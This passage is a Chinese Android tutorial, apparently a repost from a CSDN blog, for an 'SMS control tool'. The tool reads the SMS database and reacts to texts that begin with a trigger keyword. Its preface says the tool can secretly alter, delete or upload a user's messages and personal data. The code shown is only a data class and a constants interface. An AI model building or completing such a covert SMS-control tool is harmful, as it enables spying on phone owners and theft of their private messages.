日期:2014-05-16 浏览次数:20581 次
序言:本程序示例本着简洁易懂的目的,只做了简单的功能实现,需要用户启动应用,收到短信才有效果。作者将会在后面的(二)篇中加入服务后台运行、自动启动功能,实现一个真正的短信控制工具。本文的目的很简单,让读者掌握短信控制工具的原理。本程序采用的是监听短信数据库,而不是广播,所以权限相对较高,能在用户未察觉的前提下,篡改、删除,上传手机短信或个人信息。请勿非法使用,仅供个人参考学习。本程序需要用到4-5个类,
本文来自:http://blog.csdn.net/tabactivity
1、 com.xieyuan.smslistener 包下 MessageItem.java ,主要功能就是构建数据模型,方便修改和使用。
package com.xieyuan.smslistener;
import java.io.Serializable;
/*
* 实现Serializable接口,方便数据的传输
* 在后面需要调用Message.obj=MessageItem的对象,来传输
* 那么就必须实现此接口
*/
public class MessageItem implements Serializable{
//短信ID
private int id;
//短信类型 1是接收到的,2是发出的
private int type;
//短信协议 ,短信\彩信
private int protocol;
//发送时间
private long date;
//手机号
private String phone;
//内容
public String body;
public MessageItem()
{
}
public MessageItem(int id,int type,int protocol,long date,String phone,String body)
{
this.id=id;
this.type=type;
this.protocol=protocol;
this.date=date;
this.phone=phone;
this.body=body;
}
/**
* @return the id
*/
public int getId() {
return id;
}
/**
* @param id the id to set
*/
public void setId(int id) {
this.id = id;
}
/**
* @return the type
*/
public int getType() {
return type;
}
/**
* @param type the type to set
*/
public void setType(int type) {
this.type = type;
}
/**
* @return the protocol
*/
public int getProtocol() {
return protocol;
}
/**
* @param protocol the protocol to set
*/
public void setProtocol(int protocol) {
this.protocol = protocol;
}
/**
* @return the date
*/
public long getDate() {
return date;
}
/**
* @param date the date to set
*/
public void setDate(long date) {
this.date = date;
}
/**
* @return the phone
*/
public String getPhone() {
return phone;
}
/**
* @param phone the phone to set
*/
public void setPhone(String phone) {
this.phone = phone;
}
/**
* @return the body
*/
public String getBody() {
return body;
}
/**
* @param body the body to set
*/
public void setBody(String body) {
this.body = body;
}
public String toString()
{
return "id="+id+",type="+type+",protocol="+protocol+",phone="+phone+",body="+body;
}
}
package com.xieyuan.smslistener;
import android.net.Uri;
import android.provider.BaseColumns;
public interface SMSConstant extends BaseColumns{
//内容地址
public static final Uri CONTENT_URI=Uri.parse("content://sms");
//短信开头过滤字符,根据该字符判断是不是控制短信
public static final String FILTER="woaixieyuan";
////////////SMS数据库列名字段,其实还有很多,目前没用就不列举了
public static final String ID="_id";
public static final String THREAD_ID="thread_id";
public static final String ADDRESS="address";
public static final String M_SIZE="m_size";
public static final String PERSON="person";
public static final String DATE="date";
public static final String DATE_SENT="date_sent";
public static final String PROTOCOL="protocol";
public static final String READ="read";
public static final String STATUS="status";
public static final String REPLY_PATH_PRESENT="replay_path_present";
public static final String SUBJECT="subject";
public static final String BODY="body";
public static final String SERVICE_CENTER="service_center";
public static final String LOCKED="locked";
public static final String SIM_ID="sim_id";
public static final String ERROR_CODE="error_code";
public static final String SEEN="seen";
public static final String TYPE = "type";
////////////短信的状态
public static final int MESSAGE_T